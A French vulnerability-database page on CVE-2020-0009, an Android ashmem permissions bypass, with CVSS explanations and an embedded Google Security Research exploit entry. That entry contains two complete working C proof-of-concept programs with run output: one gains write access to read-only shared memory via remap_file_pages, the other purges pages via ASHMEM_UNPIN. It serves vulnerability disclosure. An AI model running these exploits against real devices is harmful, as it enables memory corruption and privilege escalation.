CVE-2020-0009 : Détail

CVE-2020-0009

5.5
/
Moyen
A01-Broken Access Control
0.07%V3
Local
2020-01-08
14h31 +00:00
2020-06-10
10h04 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

In calc_vm_may_flags of ashmem.c, there is a possible arbitrary write to shared memory due to a permissions bypass. This could lead to local escalation of privilege by corrupting memory shared between processes, with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android Versions: Android kernel Android ID: A-142938932

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-276 Incorrect Default Permissions
During installation, installed file permissions are set to allow anyone to modify those files.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 5.5 MEDIUM CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

[email protected]
V2 2.1 AV:L/AC:L/Au:N/C:N/I:P/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 47921

Date de publication : 2020-01-13 23h00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

This bug report describes two ways in which an attacker can modify the contents of a read-only ashmem fd. I'm not sure at this point what the most interesting user of ashmem is in the current Android release, but there are various users, including Chrome and a bunch of utility classes. In AOSP master, there is even code in <https://android.googlesource.com/platform/art/+/master/runtime/jit/jit_memory_region.cc> that uses ashmem for some JIT zygote mapping, which sounds extremely interesting. Android's ashmem kernel driver has an ->mmap() handler that attempts to lock down created VMAs based on a configured protection mask such that in particular write access to the underlying shmem file can never be gained. It tries to do this as follows (code taken from upstream Linux drivers/staging/android/ashmem.c): static inline vm_flags_t calc_vm_may_flags(unsigned long prot) { return _calc_vm_trans(prot, PROT_READ, VM_MAYREAD) | _calc_vm_trans(prot, PROT_WRITE, VM_MAYWRITE) | _calc_vm_trans(prot, PROT_EXEC, VM_MAYEXEC); } [...] static int ashmem_mmap(struct file *file, struct vm_area_struct *vma) { struct ashmem_area *asma = file->private_data; [...] /* requested protection bits must match our allowed protection mask */ if ((vma->vm_flags & ~calc_vm_prot_bits(asma->prot_mask, 0)) & calc_vm_prot_bits(PROT_MASK, 0)) { ret = -EPERM; goto out; } vma->vm_flags &= ~calc_vm_may_flags(~asma->prot_mask); [...] if (vma->vm_file) fput(vma->vm_file); vma->vm_file = asma->file; [...] return ret; } This ensures that the protection flags specified by the caller don't conflict with the ->prot_mask, and it also clears the VM_MAY* flags as needed to prevent the user from afterwards adding new protection flags via mprotect(). However, it improperly stores the backing shmem file, whose ->mmap() handler does not enforce the same restrictions, in ->vm_file. An attacker can abuse this through the remap_file_pages() syscall, which grabs the file pointer of an existing VMA and calls its ->mmap() handler to create a new VMA. In effect, calling remap_file_pages(addr, size, 0, 0, 0) on an ashmem mapping allows an attacker to raise the VM_MAYWRITE bit, allowing the attacker to gain write access to the ashmem allocation's backing file via mprotect(). Reproducer (works both on Linux from upstream master in an X86 VM and on a Pixel 2 at security patch level 2019-09-05 via adb): ==================================================================== user@vm:~/ashmem_remap$ cat ashmem_remap_victim.c #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <err.h> #include <stdio.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <sys/wait.h> #define __ASHMEMIOC 0x77 #define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t) #define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long) int main(void) { int ashmem_fd = open("/dev/ashmem", O_RDWR); if (ashmem_fd == -1) err(1, "open ashmem"); if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000)) err(1, "ASHMEM_SET_SIZE"); char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0); if (mapping == MAP_FAILED) err(1, "mmap ashmem"); if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ)) err(1, "ASHMEM_SET_SIZE"); mapping[0] = 'A'; printf("mapping[0] = '%c'\n", mapping[0]); if (dup2(ashmem_fd, 42) != 42) err(1, "dup2"); pid_t child = fork(); if (child == -1) err(1, "fork"); if (child == 0) { execl("./ashmem_remap_attacker", "ashmem_remap_attacker", NULL); err(1, "execl"); } int status; if (wait(&status) != child) err(1, "wait"); printf("mapping[0] = '%c'\n", mapping[0]); }user@vm:~/ashmem_remap$ cat ashmem_remap_attacker.c #define _GNU_SOURCE #include <unistd.h> #include <sys/mman.h> #include <err.h> #include <stdlib.h> #include <stdio.h> int main(void) { int ashmem_fd = 42; /* sanity check */ char *write_mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0); if (write_mapping == MAP_FAILED) { perror("mmap ashmem writable failed as expected"); } else { errx(1, "trivial mmap ashmem writable worked???"); } char *mapping = mmap(NULL, 0x1000, PROT_READ, MAP_SHARED, ashmem_fd, 0); if (mapping == MAP_FAILED) err(1, "mmap ashmem readonly failed"); if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE) == 0) errx(1, "mprotect ashmem writable worked???"); if (remap_file_pages(mapping, /*size=*/0x1000, /*prot=*/0, /*pgoff=*/0, /*flags=*/0)) err(1, "remap_file_pages"); if (mprotect(mapping, 0x1000, PROT_READ|PROT_WRITE)) err(1, "mprotect ashmem writable failed, attack didn't work"); mapping[0] = 'X'; puts("attacker exiting"); }user@vm:~/ashmem_remap$ gcc -o ashmem_remap_victim ashmem_remap_victim.c user@vm:~/ashmem_remap$ gcc -o ashmem_remap_attacker ashmem_remap_attacker.c user@vm:~/ashmem_remap$ ./ashmem_remap_victim mapping[0] = 'A' mmap ashmem writable failed as expected: Operation not permitted attacker exiting mapping[0] = 'X' user@vm:~/ashmem_remap$ ==================================================================== Interestingly, the (very much deprecated) syscall remap_file_pages() isn't even listed in bionic's SYSCALLS.txt, which would normally cause it to be blocked by Android's seccomp policy; however, SECCOMP_WHITELIST_APP.txt explicitly permits it for 32-bit ARM applications: # b/36435222 int remap_file_pages(void *addr, size_t size, int prot, size_t pgoff, int flags) arm,x86,mips ashmem supports purgable memory via ASHMEM_UNPIN/ASHMEM_PIN. Unfortunately, there is no access control for these - even if you only have read-only access to an ashmem file, you can still mark pages in it as purgable, causing them to effectively be zeroed out when the system is under memory pressure. Here's a simple test for that (to be run in an X86 Linux VM): ==================================================================== user@vm:~/ashmem_purging$ cat ashmem_purge_victim.c #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <err.h> #include <stdio.h> #include <sys/mman.h> #include <sys/ioctl.h> #include <sys/wait.h> #define __ASHMEMIOC 0x77 #define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t) #define ASHMEM_SET_PROT_MASK _IOW(__ASHMEMIOC, 5, unsigned long) int main(void) { int ashmem_fd = open("/dev/ashmem", O_RDWR); if (ashmem_fd == -1) err(1, "open ashmem"); if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x1000)) err(1, "ASHMEM_SET_SIZE"); char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0); if (mapping == MAP_FAILED) err(1, "mmap ashmem"); if (ioctl(ashmem_fd, ASHMEM_SET_PROT_MASK, PROT_READ)) err(1, "ASHMEM_SET_SIZE"); mapping[0] = 'A'; printf("mapping[0] = '%c'\n", mapping[0]); if (dup2(ashmem_fd, 42) != 42) err(1, "dup2"); pid_t child = fork(); if (child == -1) err(1, "fork"); if (child == 0) { execl("./ashmem_purge_attacker", "ashmem_purge_attacker", NULL); err(1, "execl"); } int status; if (wait(&status) != child) err(1, "wait"); printf("mapping[0] = '%c'\n", mapping[0]); } user@vm:~/ashmem_purging$ cat ashmem_purge_attacker.c #include <unistd.h> #include <stdlib.h> #include <fcntl.h> #include <err.h> #include <stdio.h> #include <sys/mman.h> #include <sys/ioctl.h> struct ashmem_pin { unsigned int offset, len; }; #define __ASHMEMIOC 0x77 #define ASHMEM_SET_SIZE _IOW(__ASHMEMIOC, 3, size_t) #define ASHMEM_UNPIN _IOW(__ASHMEMIOC, 8, struct ashmem_pin) int main(void) { struct ashmem_pin pin = { 0, 0 }; if (ioctl(42, ASHMEM_UNPIN, &pin)) err(1, "unpin 42"); /* ensure that shrinker doesn't get skipped */ int ashmem_fd = open("/dev/ashmem", O_RDWR); if (ashmem_fd == -1) err(1, "open ashmem"); if (ioctl(ashmem_fd, ASHMEM_SET_SIZE, 0x100000)) err(1, "ASHMEM_SET_SIZE"); char *mapping = mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, ashmem_fd, 0); if (mapping == MAP_FAILED) err(1, "mmap ashmem"); if (ioctl(ashmem_fd, ASHMEM_UNPIN, &pin)) err(1, "unpin 42"); /* simulate OOM */ system("sudo sh -c 'echo 2 > /proc/sys/vm/drop_caches'"); puts("attacker exiting"); } user@vm:~/ashmem_purging$ gcc -o ashmem_purge_victim ashmem_purge_victim.c user@vm:~/ashmem_purging$ gcc -o ashmem_purge_attacker ashmem_purge_attacker.c user@vm:~/ashmem_purging$ ./ashmem_purge_victim mapping[0] = 'A' attacker exiting mapping[0] = '' user@vm:~/ashmem_purging$ ====================================================================

Products Mentioned

Configuraton 0

Google>>Android >> Version -

Configuraton 0

Debian>>Debian_linux >> Version 8.0

Références